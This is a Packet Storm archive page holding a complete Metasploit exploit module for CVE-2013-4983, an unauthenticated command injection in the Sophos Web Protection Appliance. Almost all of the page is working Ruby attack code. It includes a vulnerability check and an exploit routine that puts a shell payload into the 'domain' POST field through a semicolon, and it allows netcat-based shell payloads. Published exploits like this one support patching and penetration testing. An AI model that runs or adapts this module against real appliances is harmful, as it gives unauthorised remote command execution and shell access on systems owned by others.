what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Sophos Web Protection Appliance sblistpack Arbitrary Command Execution

Sophos Web Protection Appliance sblistpack Arbitrary Command Execution
Posted Sep 17, 2013
Authored by Francisco Falcon, juan vazquez | Site metasploit.com

This Metasploit module exploits a command injection vulnerability on Sophos Web Protection Appliance 3.7.9, 3.8.0 and 3.8.1. The vulnerability exists on the sblistpack component, reachable from the web interface without authentication. This Metasploit module has been tested successfully on Sophos Virtual Web Appliance 3.7.0.

tags | exploit, web
advisories | CVE-2013-4983, OSVDB-97029
SHA-256 | bcde5e8d8f05d7b1ad0a9daef6977f314f81b4851a6c07b2830229371f0f0838

Sophos Web Protection Appliance sblistpack Arbitrary Command Execution

Change Mirror Download
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'Sophos Web Protection Appliance sblistpack Arbitrary Command Execution',
'Description' => %q{
This module exploits a command injection vulnerability on Sophos Web Protection Appliance
3.7.9, 3.8.0 and 3.8.1. The vulnerability exists on the sblistpack component, reachable
from the web interface without authentication. This module has been tested successfully
on Sophos Virtual Web Appliance 3.7.0.
},
'Author' =>
[
'Francisco Falcon', # Vulnerability discovery and PoC
'juan vazquez' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2013-4983' ],
[ 'OSVDB', '97029' ],
[ 'BID', '62263'],
[ 'EDB', '28175'],
[ 'URL', 'http://www.coresecurity.com/advisories/sophos-web-protection-appliance-multiple-vulnerabilities']
],
'Platform' => ['unix'],
'Arch' => ARCH_CMD,
'Privileged' => false,
'Payload' =>
{
'Space' => 1024,
'DisableNops' => true,
'BadChars' => "\x27\x22\x5c",
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic netcat-e' # Because quotes and double-quotes aren't valid
}
},
'Targets' =>
[
[ 'Sophos Web Protection Appliance 3.7.0', { }]
],
'DefaultOptions' =>
{
'SSL' => true
},
'DefaultTarget' => 0,
'DisclosureDate' => 'Sep 06 2013'
))

register_options(
[
Opt::RPORT(443)
],
self.class
)

end

def check
url = "http://www.#{rand_text_alpha(10 + rand(10))}.com"
domain = "http://#{rand_text_alpha(10 + rand(10))}.com"
res = send_exploit_query(url, domain)

if res and res.code == 302 and res.headers.include?('Location') and res.headers['Location'] =~ /#{url}/
return Exploit::CheckCode::Detected
else
return Exploit::CheckCode::Safe
end
end

def exploit
print_status("#{rhost}:#{rport} - Executing payload...")
url = "http://www.#{rand_text_alpha(10 + rand(10))}.com"
domain = "http://#{rand_text_alpha(10 + rand(10))}.com;#{payload.raw}"
# very short timeout because the request may never return if we're
# sending a socket payload
send_exploit_query(url, domain, 0.01)
end

def send_exploit_query(url, domain, timeout = 20)
user = rand_text_alpha(8 + rand(5))
res = send_request_cgi({
'uri' => normalize_uri('end-user', 'index.php'),
'method' => 'POST',
'vars_get' => {
'c' =>'blocked',
'action' => 'continue'
},
'vars_post' => {
'url' => "#{Rex::Text.encode_base64(url)}",
'args_reason' => rand_text_alpha(15 + rand(5)),
'filetype' => rand_text_alpha(15 + rand(5)),
'user' => user,
'user_encoded' => "#{Rex::Text.encode_base64(user)}",
'domain' => domain,
'raw_category_id' => "#{rand_text_alpha(4 + rand(8))}|#{rand_text_alpha(4 + rand(8))}"
}
}, timeout)

return res
end

end
Login or Register to add favorites

File Archive:

August 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    15 Files
  • 2
    Aug 2nd
    22 Files
  • 3
    Aug 3rd
    0 Files
  • 4
    Aug 4th
    0 Files
  • 5
    Aug 5th
    15 Files
  • 6
    Aug 6th
    11 Files
  • 7
    Aug 7th
    43 Files
  • 8
    Aug 8th
    42 Files
  • 9
    Aug 9th
    36 Files
  • 10
    Aug 10th
    0 Files
  • 11
    Aug 11th
    0 Files
  • 12
    Aug 12th
    27 Files
  • 13
    Aug 13th
    18 Files
  • 14
    Aug 14th
    50 Files
  • 15
    Aug 15th
    33 Files
  • 16
    Aug 16th
    23 Files
  • 17
    Aug 17th
    0 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    43 Files
  • 20
    Aug 20th
    29 Files
  • 21
    Aug 21st
    42 Files
  • 22
    Aug 22nd
    26 Files
  • 23
    Aug 23rd
    25 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close